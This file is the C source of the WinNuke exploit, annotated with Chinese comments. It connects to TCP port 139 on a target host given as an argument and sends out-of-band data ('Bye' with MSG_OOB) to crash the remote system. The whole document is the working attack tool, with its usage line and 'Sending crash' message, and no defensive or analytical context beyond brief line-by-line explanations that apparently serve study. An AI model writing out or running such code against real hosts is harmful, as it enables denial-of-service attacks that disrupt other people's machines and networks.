📄 winnuke.c
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#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#define dport 139 /* 攻击端口: 139,也可以改为其他的端口*/
int x, s;
char *str ="Bye"; /* 没有实质意义,可以随意设置 */
struct sockaddr_in addr, spoofedaddr;
/*spoofedaddr在这里定义了,但是没有其他地方用过——笔者注*/
struct hostent *host;
int open_sock(int sock, char *server, int port) {
struct sockaddr_in blah;
struct hostent *he;
bzero((char *)&blah, sizeof(blah));
blah.sin_family=AF_INET;
blah.sin_addr.s_addr=inet_addr(server);
blah.sin_port=htons(port);
if ((he = gethostbyname(server)) != NULL) {
bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
}
else {
if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
perror("gethostbyname()");
return(-3);
}
}
if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
/*16,sockaddr的长度*/
perror("connect()");
close(sock);
return(-4);
}
printf("Connected to [%s:%d].\n",server,port);
return;
}
void main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <target>\n",argv[0]);
exit(0);
}
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {/*在本机建立一个TCP的socket*/
perror("socket()");
exit(-1);
}
open_sock(s,argv[1],dport); /*建立连接*/
printf("Sending crash... ");
send(s,str,strlen(str),MSG_OOB);
usleep(100000);
printf("Done!\n");
close(s);
}
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